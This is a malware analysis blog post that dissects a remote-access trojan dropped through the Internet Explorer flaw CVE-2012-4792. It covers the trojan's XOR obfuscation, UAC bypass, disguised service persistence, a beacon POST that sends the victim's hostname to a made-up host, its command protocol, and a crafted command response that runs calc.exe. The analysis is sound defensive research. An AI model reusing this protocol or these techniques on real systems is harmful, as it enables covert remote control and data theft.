Dissecting a CVE-2012-4792 Payload

A little while ago I was fortunate enough to get ahold of a sample that was dropped on a system after it was infected via the exploit outlined in CVE-2012-4792. For those that may not have heard, this CVE has gotten quite a bit of buzz as of late, mainly because it exploited a zero-day vulnerability in Microsoft's Internet Explorer browser. Microsoft's original advisory can be found here. Rami Kogan, of SpiderLabs, also recently wrote a blog post that dealt with the exploit itself. You can find it here.

Unfortunately (or fortunately depending how you're looking at it), the malware campaign that provided this executable quickly was taken offline. As such, I had to go into this sample somewhat blind. No matter, as I always enjoy a fun challenge. So let's dig in.

The first thing that really sticks out about this sample is the fact that it has what appears to be two executable files embedded as resource files inside the malware. This is a common technique for droppers, but we'll find out what's going on in this sample shortly. Once we drop into the malware's main function, we quickly see that this sample is performing String obfuscation. It's a long, convoluted function, but in reality, all that's really happening is a simple XOR against 0x59.

Now that we've got these strings decoded, we can see a domain and what appears to be a number of URL paths that this malware will likely utilize later on.

Continuing down the main function, we see the malware create a new thread and attempt to acquire administrative privileges in the event it isn't running in that context already. We then see a call to StartServiceCtrlDispatcherA, which indicates that this malware is likely expecting to run as a service.

Before we jump into that newly created thread that was made, let's jump slightly ahead and see what is happening in the function that is dealing with administrative privileges. In the event that a call to IsUserAnAdmin() returns false, we see the malware acquire information about what operating system it is running in. The malware then checks to essentially see if it is running on Windows 7 or Windows 2008 R2, with UAC enabled. In the event that this situation exists, we see the malware takes a look at those executable that we previously saw in the malware's resource section. The malware looks to see if the system is running on a 32-bit operating system by checking for the existence of the 'Program Files (x86)' folder.

In the event it's running on a 32-bit operating system, the malware dumps one of the embedded PE files into the system32 directory. Otherwise, it drops the other embedded PE file into the SysWOW64 folder. These PE files turn out to be DLLs that attempt to bypass UAC (User Access Control)via a technique that was added to Metasploit around two years ago. The code in Metasploit can be found here.

So what does the malware do if it actually is running with necessary permissions? Well, it copies itself to the system32 (or SysWOW64 if t's on a 64-bit host) folder, under the name 'AppleService.exe'. The malware then creates a new service with a display name of 'Apple Service'. The description is then changed to 'Apple Application Service.' and the executable is directed to that recently copied 'AppleService.exe' file. This helps resolve our earlier suspicion that this malware is expecting to be run as a service.

Ok, so we've covered some string obfuscation, and how the malware tries to run with the necessary privileges. Let's go back to that newly created thread that was created earlier. Looking into the assembly, we see a number of things take place. The first thing the malware does is generate a unique string that will be used for all subsequent GET and POST requests. The string is generated by taking the victim's hostname, and using it in the following simple encoding routine (represented in Ruby):

1.9.2p290 :001 >"TRUSTWAVE".each_byte{|x| print ((x % 26) + 97).chr}
gehfgjnir

The malware then begins entering an infinite loop. The firststep in this loop is a POST request that looks similar to the following (Thathost isn't real):

POST/something.asp?imageid=gehfgjnitpepzxc&type=0 HTTP/1.1
User-Agent: iexplorer
Host: thiswebsitehopefullydoesntexistandimadeitupyolo.com
Content-Length: 60
Cache-Control: no-cache
....e.....
...t.a.jho.[...i,......(...X...]...\...p...i...

Inspecting the POST data more clearly, we see the following in hex dump format:

00000000 0000 00 00 65 00 00 00 0d 0b 0c 0a 0d 0e18 0f |....e...........|
00000010 741a 61 1a 6a 68 6f 00 5b 00 00 00 69 2c00 00 |t.a.jho.[...i,..|
00000020 0000 00 00 28 00 00 00 58 00 00 00 5d 0000 00 |....(...X...]...|
00000030 0000 00 00 4a 00 00 00 75 00 00 00 |....J...u...|
0000003c

The first thing we notice is that the attackers are XORing all data sent across the wire with that 0x59 key that we saw previously in the string obfuscation. XORing this data (but ignoring 0x00) gives us with the following:

00000000 0000 00 00 3c 00 00 00 54 52 55 53 54 5741 56 |....<...TRUSTWAV|
00000010 2d43 38 43 33 31 36 00 02 00 00 00 30 7500 00 |-C8C316.....0u..|
00000020 0000 00 00 71 00 00 00 01 00 00 00 04 0000 00 |....q...........|
00000030 0000 00 00 13 00 00 00 2c 00 00 00 |........,...|
0000003c

This lets us know that this POST request is at the very least sending out the victim's hostname. But if Leo taught us anything it's that we have to go deeper (This is a reference to the popular movie Inception).So let's dissect the entire data stream. In doing so it's discovered that these malware authors are doing something... peculiar. So when creating a string of data that will get sent over the wire, it's very common to see the authors simply use something like a sprint() statement. So, for example, if they had a hostname and some other string, they could do something like this to create a large string that contains both:

Instead, we see these authors allocate a chunk of memory using a call to _malloc(), and manually append data one DWORD at a time to this piece of allocated memory. You can see this in the following assembly block:

Knowing this, we can take that POST data that we just saw, and start treating it as a series of DWORDS (or 4 bytes). So let's take this thing apart:

[
"\x00\x00\x00\x00", #'Type' of data being sent (Set to zero)
"<\x00\x00\x00", # Total size of data being sent
# (Set to 60 decimal)
"TRUS", #Hostname
"TWAV", #Hostname Continued
"-C8C", #Hostname Continued
"316\x00", #Hostname Continued
"\x02\x00\x00\x00", #Operating System ('2' == Windows XP)
"0u\x00\x00", #Sleep time between loops
# (Set to 30 seconds. Default: 64952ms)
"\x00\x00\x00\x00", #Processor ('0' == x32, '1' == x64)
"q\x00\x00\x00", #Year ('113' + 1900 = 2013)
"\x01\x00\x00\x00", #Month (Set to '1', or January)
"\x04\x00\x00\x00", #Day (Set to '4')
"\x00\x00\x00\x00", #Hour (Set to '0')
"\x13\x00\x00\x00", #Minute (Set to '19')
",\x00\x00\x00" #Second (Set to '44')
]

This certainly helps demystify what is being sent. You maybe wondering what the first DWORD, or 'Type' meant. Well, as it turns out, this is just one type of data this malware sends out. Zero represents what I'm considering to be a sort of PING to the attackers, as it is sent out every loop iteration regardless.

Ok, so it's sending out a PING request. Let's see what else happens. Immediately after the above POST request is made, another GET request is made to a different URL (Same domain). The response the server sends provides commands to the malware. The same format that we saw in the PING previously is used. So we have to XOR all of our data against 0x59, provide the 'Type' in the first DWORD, size in the second DWORD, etc. The malware has the following capabilities:

• (Type '1') Execute command in cmd.exe and return results
• (Type '2') Write data to a file and execute it
• (Type '3') Upload file contents of file specified via POST request
• (Type '4') Execute raw command via call to WinExec()
• (Type '5') Modify Sleep time between loop iterations
• (Type '6') Remove malware

So, if we wanted to execute calc.exe using Type '4', we could generate the following response:

00000000 04 00 00 0024 00 00 00 00 00 00 00 00 00 00 00 |....$...........|
00000010 00 00 00 0000 00 00 00 63 61 6c 63 2e 65 78 65 |........calc.exe|
00000020 00 00 0000 |....|
00000024

Then we XOR everything that isn't 0x00 against 0x59, which results in the following:

00000000 5d00 00 00 7d 00 00 00 00 00 00 00 00 0000 00 |Z...}...........|
00000010 0000 00 00 00 00 00 00 3a 38 35 3a 77 3c21 3c |........:85:w<!<|
00000020 0000 00 00 |....|
00000024

We then have our fake server provide this as a response to the GET request, and we get the following on our victim:

So at this point we've got a pretty clear picture of what's going on. Essentially these attackers are dropping a piece of malware that some might argue has RAT (Remote Access Trojan) capabilities. Some might argue this malware is a downloader as it has those capabilities as well (In fact a number of anti-virus products identify this malware as such). You could also argue that this has botnet capabilities due to its C&C channel. Whatever you want to label it, I think we can all agree that at the end of the day it's simply malicious code that nobody wants on their machine. Based on the domain utilized by the sample, as well as language information in the PE file, there are hints that the malware originated in China, however, it's hard to make any definite statements with the limited information on hand. The sample was originally seen on VirusTotal on Christmas Eve, and I'm happy to say that as of writing this post, a large number of anti-virus products already have detections in place (~73%).